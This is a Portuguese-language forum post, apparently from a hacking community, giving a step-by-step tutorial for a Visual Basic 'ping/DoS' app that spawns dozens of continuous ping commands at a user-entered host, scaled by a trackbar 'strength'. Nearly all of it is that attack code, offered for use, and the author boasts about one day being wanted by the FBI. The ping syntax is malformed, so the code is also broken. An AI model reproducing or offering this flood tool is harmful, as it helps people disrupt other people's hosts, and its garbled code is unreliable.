Ir para conteúdo

Faça parte da equipe! (2024) ×

visual basic App pra DoS [Tutorial]

Por Bobiam@Root,
24 de Setembro 2015 em Visual Basic

Novo Tópico

Posts Recomendados

Novato

Bobiam@Root 0

Postado 24 de Setembro 2015

- Compartilhar

Postado 24 de Setembro 2015

Eae pessoas blz?, meu segundo post aki, hoje vim ensinar como fazer um app de ping/dos, muito simples, vamos ao project, qualquer erro desculpe

1 - Abra seu VB.NET, crie um projeto .exe(WindowsApplication)

2 - Coloque uma textbox, um button e uma trackbar

2.1 - Na propriedades da trackbar coloque em maximum = 5

3 - Ajuste da sua forma, e de double click no button

4 - Coloque o seguinte codigo :

If TrackBar1.Value = 0 Then

MsgBox("Coloque uma força")

End if

If TrackBar1.Value = 1 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 2 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 3 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 4 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

If TrackBar1.Value = 5 Then

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

Shell("ping -t-8000000000000000000000000000000000000000000000000000000000000000" + TextBox1.Text)

End if

6 - Pronto, app feito agora so aproveitar

OBS : Ele abre muitos cmds cuidado !!

Conhecimento não e crime

Um dia serei procurado até pelo FBI , mas como esse dia não e hoje , vamos trina PhP , Html , C ++ , C# e Java

Lembrem desse nome : Bobiam

ﾠﾠTroféus e Medalhasﾠﾠ

Link para o comentário

Compartilhar em outros sites

2 meses depois...

AlahuAkbar31

Novato

AlahuAkbar31 0

Postado 4 de Dezembro 2015

- Compartilhar

Postado 4 de Dezembro 2015

Otimo

ﾠﾠTroféus e Medalhasﾠﾠ

Link para o comentário

Compartilhar em outros sites

Este tópico está impedido de receber novos posts.

Ir para a lista de tópicos

Conteúdo Similar
- utilitário Bully BugFix
  
  Por Skinny07, 5 de Outubro 2021
  - bully bugfix
  - bully tutorial
  - (e 4 mais)
    
    Tags:
    
    bully bugfix
    
    bully tutorial
    
    visual basic
    
    ferramentas / utilitários
    
    ferramenta bully
    
    bugfix
  - 1 resposta
  - 521 visualizações
- gambas Como criar um navegar no Gambas (Visual Basic do Linux)
  
  Por Runlevel, 26 de Novembro 2020
  - criar
  - navegador
  - (e 2 mais)
    
    Tags:
    
    criar
    
    navegador
    
    visual basic
    
    linux
  - 0 respostas
  - 325 visualizações
- [PDF] Conteúdo de estudo - Visual Basic
  
  Por Maou_Sama, 12 de Janeiro 2020
  - visual basic
  - pfd
  - 2 respostas
  - 775 visualizações
Quem Está Navegando 0 membros estão online
- Nenhum usuário registrado visualizando esta página.

×

Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.

Accept Cookies Reject Cookies